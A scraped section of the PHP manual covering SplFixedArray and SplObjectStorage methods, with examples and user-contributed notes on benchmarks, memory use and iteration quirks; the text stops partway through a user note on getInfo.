  • SplFixedArray::offsetExists — Returns whether the requested index exists
  • SplFixedArray::offsetGet — Returns the value at the specified index
  • SplFixedArray::offsetSet — Sets a new value at a specified index
  • SplFixedArray::offsetUnset — Unsets the value at the specified $index
  • SplFixedArray::rewind — Rewind iterator back to the start
  • SplFixedArray::setSize — Change the size of an array
  • SplFixedArray::toArray — Returns a PHP array from the fixed array
  • SplFixedArray::valid — Check whether the array contains more elements

User Contributed Notes

alex dot andrienko at gmail dot com 15-Nov-2010 02:13
Memory footprint of splFixedArray is about 37% of a regular "array" of the same size.
I was hoping for more, but that's also significant, and that's where you should expect to see difference, not in "performance".
randallgirard at hotmail dot com 14-Dec-2009 01:08
NOTE: This only affects CREATION time, NOT access time.

It does NOT create a true indexed array (which is what I was hoping for) but is still associative like all PHP arrays. The class requires a numeric key because it builds the array with a set number of items but still operates under the hood associatively. (or this is my assumption, as I performed benchmarks comparing 100,000 reads on a standard array and an SplFixedArray: Results were the same, while a true indexed array SHOULD in theory be faster than an associative)

The only performance gain is that you are not building the array piece by piece; Rather, the entire array is built at once and you can then fill it's values by numeric indexes... Therefor it is only reducing the creation overhead.

This is only useful in a situation when you know the size your array will be, for example filling it with items from a database query.
nairbv AT yahoo DOT com 21-Oct-2009 02:08
Though, object creation overhead means this method is slower for small arrays.

for example, if the other posters benchmark script is changed to a more realistic:

<?php
$elements = 20;
for($size = 1000; $size < 50000000; $size *= 2) {
    echo PHP_EOL . "Testing size: $size" . PHP_EOL;
    for($s = microtime(true), $i = 0; $i < $size; $i++) {
        for($j=0,$container=array();$j < $elements; $j++ ) {
            $container[$i] = NULL;
        }
    }
    echo "Array(): " . (microtime(true) - $s) . PHP_EOL;

    for($s = microtime(true), $i = 0; $i < $size; $i++) {
        for( $j=0,$container=new SplFixedArray($elements);$j<$elements;$j++) {
            $container[$i] = NULL;
        }
    }
    echo "SplArray(): " . (microtime(true) - $s) . PHP_EOL;
}

we get:

Testing size: 1000
Array(): 0.0030221939086914
SplArray(): 0.0041899681091309

Testing size: 2000
Array(): 0.0060598850250244
SplArray(): 0.0083701610565186

Testing size: 4000
Array(): 0.012003898620605
SplArray(): 0.016681909561157

Testing size: 8000
Array(): 0.024173021316528
SplArray(): 0.033347129821777

Testing size: 16000
Array(): 0.048118829727173
SplArray(): 0.066897869110107

Testing size: 32000
Array(): 0.096546173095703
SplArray(): 0.13370203971863

Testing size: 64000
Array(): 0.1932430267334
SplArray(): 0.26755595207214

Testing size: 128000
Array(): 0.38473010063171
SplArray(): 0.5374698638916

Testing size: 256000
Array(): 0.77228307723999
SplArray(): 1.0708079338074

Testing size: 512000
Array(): 1.5438990592957
SplArray(): 2.1406710147858

Testing size: 1024000
Array(): 3.0910761356354
SplArray(): 4.3108429908752

Testing size: 2048000
Array(): 6.1561989784241
SplArray(): 8.612802028656

......
chrisstocktonaz at gmail dot com 14-Jul-2009 11:07
Note, that this is considerably faster and should be used when the size of the array is known. Here are some very basic bench marks:

<?php
for($size = 1000; $size < 50000000; $size *= 2) {
    echo PHP_EOL . "Testing size: $size" . PHP_EOL;
    for($s = microtime(true), $container = Array(), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "Array(): " . (microtime(true) - $s) . PHP_EOL;

    for($s = microtime(true), $container = new SplFixedArray($size), $i = 0; $i < $size; $i++) $container[$i] = NULL;
    echo "SplArray(): " . (microtime(true) - $s) . PHP_EOL;
}
?>

OUTPUT
Testing size: 1000
Array(): 0.00046396255493164
SplArray(): 0.00023293495178223

Testing size: 2000
Array(): 0.00057101249694824
SplArray(): 0.0003058910369873

Testing size: 4000
Array(): 0.0015869140625
SplArray(): 0.00086307525634766

Testing size: 8000
Array(): 0.0024251937866211
SplArray(): 0.00211501121521

Testing size: 16000
Array(): 0.0057680606842041
SplArray(): 0.0041120052337646

Testing size: 32000
Array(): 0.011334896087646
SplArray(): 0.007631778717041

Testing size: 64000
Array(): 0.021990060806274
SplArray(): 0.013560056686401

Testing size: 128000
Array(): 0.053267002105713
SplArray(): 0.030976057052612

Testing size: 256000
Array(): 0.10280108451843
SplArray(): 0.056283950805664

Testing size: 512000
Array(): 0.20657992362976
SplArray(): 0.11510300636292

Testing size: 1024000
Array(): 0.4138810634613
SplArray(): 0.21826505661011

Testing size: 2048000
Array(): 0.85640096664429
SplArray(): 0.46247816085815

Testing size: 4096000
Array(): 1.7242450714111
SplArray(): 0.95304894447327

Testing size: 8192000
Array(): 3.448086977005
SplArray(): 1.96746301651
SplPriorityQueue::valid
SplFixedArray::__construct
Datastructures


Constructs a new fixed array

SplFixedArray
SplFixedArray::count
SplFixedArray
PHP Manual

SplFixedArray::__construct

(PHP 5 >= 5.3.0)

SplFixedArray::__construct — Constructs a new fixed array

Description

public SplFixedArray::__construct() ([ int $size = 0 ] )

Initializes a fixed array with a number of NULL values equal to size.

Parameters

size

The size of the fixed array. This expects a number between 0 and PHP_INT_MAX.

Return Values

No value is returned.

Errors/Exceptions

Throws InvalidArgumentException when size is a negative number.

Raises E_WARNING when size cannot be parsed as a number.

Examples

Example #1 SplFixedArray::__construct() example

<?php
$array = new SplFixedArray(5);

$array[1] = 2;
$array[4] = "foo";

foreach($array as $v) {
  var_dump($v);
}
?>

The above example will output:

NULL
int(2)
NULL
NULL
string(3) "foo"

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray
SplFixedArray::count
SplFixedArray


Returns the size of the array

SplFixedArray::__construct
SplFixedArray::current
SplFixedArray
PHP Manual

SplFixedArray::count

(PHP 5 >= 5.3.0)

SplFixedArray::count — Returns the size of the array

Description

public int SplFixedArray::count ( void )

Returns the size of the array.

Parameters

This function has no parameters.

Return Values

Returns the size of the array.

Examples

Example #1 SplFixedArray::count() example

<?php
$array = new SplFixedArray(5);
echo $array->count() . "\n";
echo count($array) . "\n";
?>

The above example will output:

5
5

Notes

Note:

This method is functionally equivalent to SplFixedArray::getSize().

Note:

The count of elements is always equal to the set size because all values are initially initialized with NULL.

See Also

  • SplFixedArray::getSize() - Gets the size of the array

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::__construct
SplFixedArray::current
SplFixedArray


Return current array entry

SplFixedArray::count
SplFixedArray::fromArray
SplFixedArray
PHP Manual

SplFixedArray::current

(PHP 5 >= 5.3.0)

SplFixedArray::current — Return current array entry

Description

public mixed SplFixedArray::current ( void )

Get the current array element.

Parameters

This function has no parameters.

Return Values

The current element value.

Errors/Exceptions

Throws RuntimeException when the internal array pointer points to an invalid index or is out of bounds.

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::count
SplFixedArray::fromArray
SplFixedArray


Import a PHP array in a SplFixedArray instance

SplFixedArray::current
SplFixedArray::getSize
SplFixedArray
PHP Manual

SplFixedArray::fromArray

(PHP 5 >= 5.3.0)

SplFixedArray::fromArray — Import a PHP array in a SplFixedArray instance

Description

public static SplFixedArray SplFixedArray::fromArray ( array $array [, bool $save_indexes = true ] )

Import the PHP array array in a new SplFixedArray instance

Parameters

array

The array to import.

save_indexes

Try to save the numeric indexes used in the original array.

Return Values

Returns an instance of SplFixedArray containing the array content.

Examples

Example #1 SplFixedArray::fromArray() example

<?php
$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3));

var_dump($fa);

$fa = SplFixedArray::fromArray(array(1 => 1, 0 => 2, 3 => 3), false);

var_dump($fa);
?>

The above example will output:

object(SplFixedArray)#1 (4) {
  [0]=>
  int(2)
  [1]=>
  int(1)
  [2]=>
  NULL
  [3]=>
  int(3)
}
object(SplFixedArray)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

MuLoT 10-Dec-2010 09:15
Memory footprint tests :

<?php
echo memory_get_usage()."\n"; // display 627760
$array = array_fill( 0, 2048, 'a' );
echo memory_get_usage()."\n"; // 824744, so 196984 for $array

unset( $array );

echo memory_get_usage()."\n"; // 627792
$spl=SplFixedArray::fromArray( array_fill( 0, 2048, 'a' ) );
echo memory_get_usage()."\n"; //644944, so just 17151 for $spl !!!
?>
SplFixedArray::current
SplFixedArray::getSize
SplFixedArray


Gets the size of the array

SplFixedArray::fromArray
SplFixedArray::key
SplFixedArray
PHP Manual

SplFixedArray::getSize

(PHP 5 >= 5.3.0)

SplFixedArray::getSize — Gets the size of the array

Description

public int SplFixedArray::getSize ( void )

Gets the size of the array.

Parameters

This function has no parameters.

Return Values

Returns the size of the array, as an integer.

Examples

Example #1 SplFixedArray::getSize() example

<?php
$array = new SplFixedArray(5);
echo $array->getSize()."\n";
$array->setSize(10);
echo $array->getSize()."\n";
?>

The above example will output:

5
10

Notes

Note:

This method is functionally equivalent to SplFixedArray::count()

See Also

  • SplFixedArray::count() - Returns the size of the array

User Contributed Notes

c dot 1 at smithies dot org 21-Nov-2010 05:38
This function is currently a synonym for count().
SplFixedArray::fromArray
SplFixedArray::key
SplFixedArray


Return current array index

SplFixedArray::getSize
SplFixedArray::next
SplFixedArray
PHP Manual

SplFixedArray::key

(PHP 5 >= 5.3.0)

SplFixedArray::key — Return current array index

Description

public int SplFixedArray::key ( void )

Returns the current array index.

Parameters

This function has no parameters.

Return Values

The current array index.

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::getSize
SplFixedArray::next
SplFixedArray


Move to next entry

SplFixedArray::key
SplFixedArray::offsetExists
SplFixedArray
PHP Manual

SplFixedArray::next

(PHP 5 >= 5.3.0)

SplFixedArray::next — Move to next entry

Description

public void SplFixedArray::next ( void )

Move the iterator to the next array entry.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::key
SplFixedArray::offsetExists
SplFixedArray


Returns whether the requested index exists

SplFixedArray::next
SplFixedArray::offsetGet
SplFixedArray
PHP Manual

SplFixedArray::offsetExists

(PHP 5 >= 5.3.0)

SplFixedArray::offsetExists — Returns whether the requested index exists

Description

public bool SplFixedArray::offsetExists ( int $index )

Checks whether the requested index index exists.

Parameters

index

The index being checked.

Return Values

TRUE if the requested index exists, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::next
SplFixedArray::offsetGet
SplFixedArray


Returns the value at the specified index

SplFixedArray::offsetExists
SplFixedArray::offsetSet
SplFixedArray
PHP Manual

SplFixedArray::offsetGet

(PHP 5 >= 5.3.0)

SplFixedArray::offsetGet — Returns the value at the specified index

Description

public mixed SplFixedArray::offsetGet ( int $index )

Returns the value at the index index.

Parameters

index

The index with the value.

Return Values

The value at the specified index.

Errors/Exceptions

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::offsetExists
SplFixedArray::offsetSet
SplFixedArray


Sets a new value at a specified index

SplFixedArray::offsetGet
SplFixedArray::offsetUnset
SplFixedArray
PHP Manual

SplFixedArray::offsetSet

(PHP 5 >= 5.3.0)

SplFixedArray::offsetSet — Sets a new value at a specified index

Description

public void SplFixedArray::offsetSet ( int $index , mixed $newval )

Sets the value at the specified index to newval.

Parameters

index

The index being set.

newval

The new value for the index.

Return Values

No value is returned.

Errors/Exceptions

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::offsetGet
SplFixedArray::offsetUnset
SplFixedArray


Unsets the value at the specified $index

SplFixedArray::offsetSet
SplFixedArray::rewind
SplFixedArray
PHP Manual

SplFixedArray::offsetUnset

(PHP 5 >= 5.3.0)

SplFixedArray::offsetUnset — Unsets the value at the specified $index

Description

public void SplFixedArray::offsetUnset ( int $index )

Unsets the value at the specified index.

Parameters

index

The index being unset.

Return Values

No value is returned.

Errors/Exceptions

Throws RuntimeException when index is outside the defined size of the array or when index cannot be parsed as an integer.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:07
This function assigns NULL to the array element. Its use has no effect on count(). Whereas assigning NULL to an element will have no effect on isset(), offsetUnset() and unset() do. Whereas unsetting an element affects the behaviour of foreach() as applied to an array or an ArrayObject, it has no such effect on SplFixedArray, as demonstrated by the code below.

<?php

class atest extends SplFixedArray {
  public function fill() {
    for ($i = $this->count(); --$i >= 0; ) $this[$i] = $i;
  }
  public function dump() {
    $sep = ' ';
    foreach ($this as $k => $v) {
      echo $sep, "$k: ", (is_null($v) ? 'NULL' : $v);
      if (!isset($this[$k])) echo ' and unset';
      $sep = ', ';
    }
    echo PHP_EOL;
  }
}

$a = new atest(3);
$a->dump(); //  0: NULL and unset, 1: NULL and unset, 2: NULL and unset
$a->fill();
$a->dump(); //  0: 0, 1: 1, 2: 2
$a[1] = NULL;
unset($a[2]);
$a->dump(); //  0: 0, 1: NULL, 2: NULL and unset
?>
SplFixedArray::offsetSet
SplFixedArray::rewind
SplFixedArray


Rewind iterator back to the start

SplFixedArray::offsetUnset
SplFixedArray::setSize
SplFixedArray
PHP Manual

SplFixedArray::rewind

(PHP 5 >= 5.3.0)

SplFixedArray::rewind — Rewind iterator back to the start

Description

public void SplFixedArray::rewind ( void )

Rewinds the iterator to the beginning.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::offsetUnset
SplFixedArray::setSize
SplFixedArray


Change the size of an array

SplFixedArray::rewind
SplFixedArray::toArray
SplFixedArray
PHP Manual

SplFixedArray::setSize

(PHP 5 >= 5.3.0)

SplFixedArray::setSize — Change the size of an array

Description

public int SplFixedArray::setSize ( int $size )

Change the size of an array to the new size of size. If size is less than the current array size, any values after the new size will be discarded. If size is greater than the current array size, the array will be padded with NULL values.

Parameters

size

The new array size. This should be a value between 0 and PHP_INT_MAX.

Return Values

No value is returned.

Errors/Exceptions

Throws InvalidArgumentException when size is less than zero.

Raises E_WARNING when size cannot be used as a number.

Examples

Example #1 SplFixedArray::setSize() example

<?php
   $array = new SplFixedArray(5);
   echo $array->getSize()."\n";
   $array->setSize(10);
   echo $array->getSize()."\n";
?>

The above example will output:

5
10

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::rewind
SplFixedArray::toArray
SplFixedArray


Returns a PHP array from the fixed array

SplFixedArray::setSize
SplFixedArray::valid
SplFixedArray
PHP Manual

SplFixedArray::toArray

(PHP 5 >= 5.3.0)

SplFixedArray::toArray — Returns a PHP array from the fixed array

Description

public array SplFixedArray::toArray ( void )

Returns a PHP array from the fixed array.

Parameters

This function has no parameters.

Return Values

Returns a PHP array, similar to the fixed array.

Examples

Example #1 SplFixedArray::toArray() example

<?php
$fa = new SplFixedArray(3);
$fa[0] = 0;
$fa[2] = 2;
var_dump($fa->toArray());
?>

The above example will output:

array(3) {
  [0]=>
  int(0)
  [1]=>
  NULL
  [2]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.
SplFixedArray::setSize
SplFixedArray::valid
SplFixedArray


Check whether the array contains more elements

SplFixedArray::toArray
SplObjectStorage
SplFixedArray
PHP Manual

SplFixedArray::valid

(PHP 5 >= 5.3.0)

SplFixedArray::valid — Check whether the array contains more elements

Description

public bool SplFixedArray::valid ( void )

Checks if the array contains any more elements.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the array contains any more elements, FALSE otherwise.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:13
This function will return TRUE whenever the iterator is within the array bounds, even if unset() has been called on the current element.
SplFixedArray::toArray
SplObjectStorage
SplFixedArray


The SplObjectStorage class

(PHP 5 >= 5.3.0)

Introduction

The SplObjectStorage class provides a map from objects to data or, by ignoring data, an object set. This dual purpose can be useful in many cases involving the need to uniquely identify objects.

Class synopsis

SplObjectStorage implements Countable , Iterator , Traversable , Serializable , ArrayAccess {
/* Methods */
public void addAll ( SplObjectStorage $storage )
public void attach ( object $object [, mixed $data = NULL ] )
public bool contains ( object $object )
public int count ( void )
public object current ( void )
public void detach ( object $object )
public string getHash ( string $object )
public mixed getInfo ( void )
public int key ( void )
public void next ( void )
public bool offsetExists ( object $object )
public mixed offsetGet ( object $object )
public void offsetSet ( object $object [, mixed $data = NULL ] )
public void offsetUnset ( object $object )
public void removeAll ( SplObjectStorage $storage )
public void removeAllExcept ( SplObjectStorage $storage )
public void rewind ( void )
public string serialize ( void )
public void setInfo ( mixed $data )
public void unserialize ( string $serialized )
public bool valid ( void )
}

Examples

Example #1 SplObjectStorage as a set

<?php
// As an object set
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;

$s->attach($o1);
$s->attach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));

$s->detach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));
?>

The above example will output:

bool(true)
bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Example #2 SplObjectStorage as a map

<?php
// As a map from objects to data
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;
$o3 = new StdClass;

$s[$o1] = "data for object 1";
$s[$o2] = array(1,2,3);

if (isset($s[$o2])) {
    var_dump($s[$o2]);
}
?>

The above example will output:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Table of Contents

  • SplObjectStorage::addAll — Adds all objects from another storage
  • SplObjectStorage::attach — Adds an object in the storage
  • SplObjectStorage::contains — Checks if the storage contains a specific object
  • SplObjectStorage::count — Returns the number of objects in the storage
  • SplObjectStorage::current — Returns the current storage entry
  • SplObjectStorage::detach — Removes an object from the storage
  • SplObjectStorage::getHash — Calculate a unique identifier for the contained objects
  • SplObjectStorage::getInfo — Returns the data associated with the current iterator entry
  • SplObjectStorage::key — Returns the index at which the iterator currently is
  • SplObjectStorage::next — Move to the next entry
  • SplObjectStorage::offsetExists — Checks whether an object exists in the storage
  • SplObjectStorage::offsetGet — Returns the data associated with an object
  • SplObjectStorage::offsetSet — Associates data to an object in the storage
  • SplObjectStorage::offsetUnset — Removes an object from the storage
  • SplObjectStorage::removeAll — Removes objects contained in another storage from the current storage
  • SplObjectStorage::removeAllExcept — Removes all objects except for those contained in another storage from the current storage
  • SplObjectStorage::rewind — Rewind the iterator to the first storage element
  • SplObjectStorage::serialize — Serializes the storage
  • SplObjectStorage::setInfo — Sets the data associated with the current iterator entry
  • SplObjectStorage::unserialize — Unserializes a storage from its string representation
  • SplObjectStorage::valid — Returns if the current iterator entry is valid

User Contributed Notes

Jan Walther 30-Jun-2011 06:57
I rewrote some scripts and changed object storage with arrays to SplObjectStorage. At some point I needed support of array_rand() but I did not find a function to return a random attached object of an SplObjectStorage object.

So here is my solution for random access to SplObjectStorage:

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage;
$s->attach($o1);
$s->attach($o2);

$random = rand(0,$s->count()-1);
$s->rewind();
for($i=0;$i<$random;$i++) {
  $s->next();
}
var_dump($s->current());
?>
Robertas at pobox com 31-Jan-2010 11:13
PHP 5.2.x and lower doesn't implement ArrayAccess in SplObjectStorage - it is only implemented starting from PHP 5.3
randallgirard at hotmail dot com 14-Dec-2009 12:01
I have two things to note about SplObjectStorage:

#1: A reference to the object itself is stored (not just a hash to compare against the object) and it must be removed before the object is destroyed and the destructor is executed.

#2: SplObjectStorage::rewind() MUST be called to initiate the iterator and before SplObjectStorage::current() will return an object (and I think the only way to retrieve an object?) rather than automatically starting at the first element as I expected it to, like an array for example. This assumption is based on SplObjectStorage::current() returning NULL until SplObjectStorage::rewind() is called once the objects are contained. As a note, always use REWIND before iterating through or fetching objects.

<?php

class foo {
    public function __destruct() {
        print("--- DESTRUCTOR FIRED!!<br />\r\n");
    }
}

# Create object and storage
$bar = new foo();
$s = new SplObjectStorage();

# Rewind early just as a test
$s->rewind();

# attach the object
$s->attach($bar, array('test'));

# Unset the object; destructor does NOT fire
unset($bar);
print("Object has been unset<br />\r\n");

# First demonstrate that REWIND must be called to initialize the iterator
$obj = $s->current();
var_dump($obj);
print("- Note the NULL (from \$s->current())<br />\r\n");

# Initialize, and then detach the current (and only) object
$s->rewind();
$s->detach( $s->current() );

# The destructor should NOW execute

?>

Output:

Object has been unset
NULL - Note the NULL (from $s->current())
--- DESTRUCTOR FIRED!!
SplFixedArray::valid
SplObjectStorage::addAll
Datastructures


Adds all objects from another storage

SplObjectStorage
SplObjectStorage::attach
SplObjectStorage
PHP Manual

SplObjectStorage::addAll

(PHP 5 >= 5.3.0)

SplObjectStorage::addAll — Adds all objects from another storage

Description

public void SplObjectStorage::addAll ( SplObjectStorage $storage )

Adds all objects-data pairs from a different storage in the current storage.

Parameters

storage

The storage you want to import.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::addAll() example

<?php
$o = new StdClass;
$a = new SplObjectStorage();
$a[$o] = "hello";

$b = new SplObjectStorage();
$b->addAll($a);
echo $b[$o]."\n";
?>

The above example will output something similar to:

hello

See Also

  • SplObjectStorage::removeAll() - Removes objects contained in another storage from the current storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage
SplObjectStorage::attach
SplObjectStorage


Adds an object in the storage

SplObjectStorage::addAll
SplObjectStorage::contains
SplObjectStorage
PHP Manual

SplObjectStorage::attach

(PHP 5 >= 5.1.0)

SplObjectStorage::attach — Adds an object in the storage

Description

public void SplObjectStorage::attach ( object $object [, mixed $data = NULL ] )

Adds an object inside the storage, and optionaly associate it to some data.

Parameters

object

The object to add.

data

The data to associate with the object.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::attach() example

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage();
$s->attach($o1); // similar to $s[$o1] = NULL;
$s->attach($o2, "hello"); // similar to $s[$o2] = "hello";

var_dump($s[$o1]);
var_dump($s[$o2]);

?>

The above example will output something similar to:

NULL
string(5) "hello"

Changelog

Version | Description
5.3.0 | Added the data parameter.

See Also

  • SplObjectStorage::detach() - Removes an object from the storage
  • SplObjectStorage::offsetSet() - Associates data to an object in the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::addAll
SplObjectStorage::contains
SplObjectStorage


Checks if the storage contains a specific object

SplObjectStorage::attach
SplObjectStorage::count
SplObjectStorage
PHP Manual

SplObjectStorage::contains

(PHP 5 >= 5.1.0)

SplObjectStorage::contains — Checks if the storage contains a specific object

Description

public bool SplObjectStorage::contains ( object $object )

Checks if the storage contains the object provided.

Parameters

object

The object to look for.

Return Values

Returns TRUE if the object is in the storage, FALSE otherwise.

Examples

Example #1 SplObjectStorage::contains() example

<?php
$o1 = new StdClass;
$o2 = new StdClass;

$s = new SplObjectStorage();

$s[$o1] = "hello";
var_dump($s->contains($o1));
var_dump($s->contains($o2));
?>

The above example will output something similar to:

bool(true)
bool(false)

See Also

  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::attach
SplObjectStorage::count
SplObjectStorage


Returns the number of objects in the storage

SplObjectStorage::contains
SplObjectStorage::current
SplObjectStorage
PHP Manual

SplObjectStorage::count

(PHP 5 >= 5.1.0)

SplObjectStorage::count — Returns the number of objects in the storage

Description

public int SplObjectStorage::count ( void )

Counts the number of objects in the storage.

Parameters

This function has no parameters.

Return Values

The number of objects in the storage.

Examples

Example #1 SplObjectStorage::count() example

<?php
$s = new SplObjectStorage();
$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1);
$s->attach($o2);
$s->attach($o1);
var_dump($s->count());
var_dump(count($s));
?>

The above example will output something similar to:

int(2)
int(2)

See Also

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::detach() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::contains
SplObjectStorage::current
SplObjectStorage


Returns the current storage entry

SplObjectStorage::count
SplObjectStorage::detach
SplObjectStorage
PHP Manual

SplObjectStorage::current

(PHP 5 >= 5.1.0)

SplObjectStorage::current — Returns the current storage entry

Description

public object SplObjectStorage::current ( void )

Returns the current storage entry.

Parameters

This function has no parameters.

Return Values

The object at the current iterator position.

Examples

Example #1 SplObjectStorage::current() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

The above example will output something similar to:

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

See Also

  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::count
SplObjectStorage::detach
SplObjectStorage


Removes an object from the storage

SplObjectStorage::current
SplObjectStorage::getHash
SplObjectStorage
PHP Manual

SplObjectStorage::detach

(PHP 5 >= 5.1.0)

SplObjectStorage::detach — Removes an object from the storage

Description

public void SplObjectStorage::detach ( object $object )

Removes the object from the storage.

Parameters

object

The object to remove.

Return Values

No value is returned.

Examples

Example #1 SplObjectStorage::detach() example

<?php
$o = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($o);
var_dump(count($s));
?>

The above example will output something similar to:

int(1)
int(0)

See Also

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::removeAll() - Removes objects contained in another storage from the current storage

User Contributed Notes

r dot wilczek at web-appz dot de 30-Apr-2010 01:18
Detaching the current entry from the storage prevents SplObjectStorage::next() to operate.

Example as a PHPUnit-test:

<?php
public function testDetachingCurrentPreventsNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $storage->detach($storage->current());
        $storage->next();
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will fail, for the iteration will never reach the second stdClass.
SplObjectStorage::next() obviously relies on the current element to be valid.

If you want to detach objects during iterations, you should dereference objects, before you call next() and detach the reference after next():

<?php
public function testDetachingReferenceAfterNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $object = $storage->current();
        $storage->next();
        $storage->detach($object);
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will pass.
SplObjectStorage::current
SplObjectStorage::getHash
SplObjectStorage


Calculate a unique identifier for the contained objects

SplObjectStorage::detach
SplObjectStorage::getInfo
SplObjectStorage
PHP Manual

SplObjectStorage::getHash

(No version information available, might only be in SVN)

SplObjectStorage::getHash — Calculate a unique identifier for the contained objects

Description

public string SplObjectStorage::getHash ( string $object )

The function calculates an identifier for the objects added to this SplObjectStorage object.

The implementation in SplObjectStorage returns the same value as spl_object_hash().

This identifier must be unique among the objects contained. This means this object will never contain more than one object with the same identifier. As such, it can be used to implement a set (a collection of unique values) where the quality of an object being unique is determined by the value returned by this function being unique.

Parameters

object

The object whose identifier is to be calculated.

Return Values

A string with the calculated identifier. An exception is thrown if any other type is returned.

Examples

Example #1 SplObjectStorage::getHash() example

<?php
class OneSpecimenPerClassStorage extends SplObjectStorage {
    public function getHash($o) {
        return get_class($o);
    }
}
class A {}

$s = new OneSpecimenPerClassStorage;
$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new A;

$s[$o1] = 1;
//$o2 is considered equal to $o1 so the value is replaced
$s[$o2] = 2;
$s[$o3] = 3;

//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
$p2 = new A;
echo $s[$p1], "\n";
echo $s[$p2], "\n";
?>

The above example will output something similar to:

2
3

User Contributed Notes

There are no user contributed notes for this page.
SplObjectStorage::detach
SplObjectStorage::getInfo
SplObjectStorage


Returns the data associated with the current iterator entry

SplObjectStorage::getHash
SplObjectStorage::key
SplObjectStorage
PHP Manual

SplObjectStorage::getInfo

(PHP 5 >= 5.3.0)

SplObjectStorage::getInfo — Returns the data associated with the current iterator entry

Description

public mixed SplObjectStorage::getInfo ( void )

Returns the data, or info, associated with the object pointed by the current iterator position.

Parameters

This function has no parameters.

Return Values

The data associated with the current iterator position.

Examples

Example #1 SplObjectStorage::getInfo() example

<?php
$s = new SplObjectStorage();

$o1 = new StdClass;
$o2 = new StdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
    $index  = $s->key();
    $object = $s->current(); // similar to current($s)
    $data   = $s->getInfo();

    var_dump($object);
    var_dump($data);
    $s->next();
}
?>

The above example will output something similar to:

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

See Also

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::setInfo() - Sets the data associated with the current iterator entry

User Contributed Notes

Ye Wang 27-Sep-2010 11:53
This method, SplObjectStorage::getInfo() does NOT exist on PHP 5.2.13.

However, PHP 5.3.2 and above does have it. To find out yourself, use this snippet.

$> php -r "print_r(get_class_methods(new SplObjectStorage()));"

Results for PHP 5.2.13
====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => count
    [4] => rewind
    [5] => valid
    [6] => key
    [7] => current
    [8] => next
    [9] => unserialize
    [10] => serialize
)

Results for PHP 5.3.2
=====
Array
(
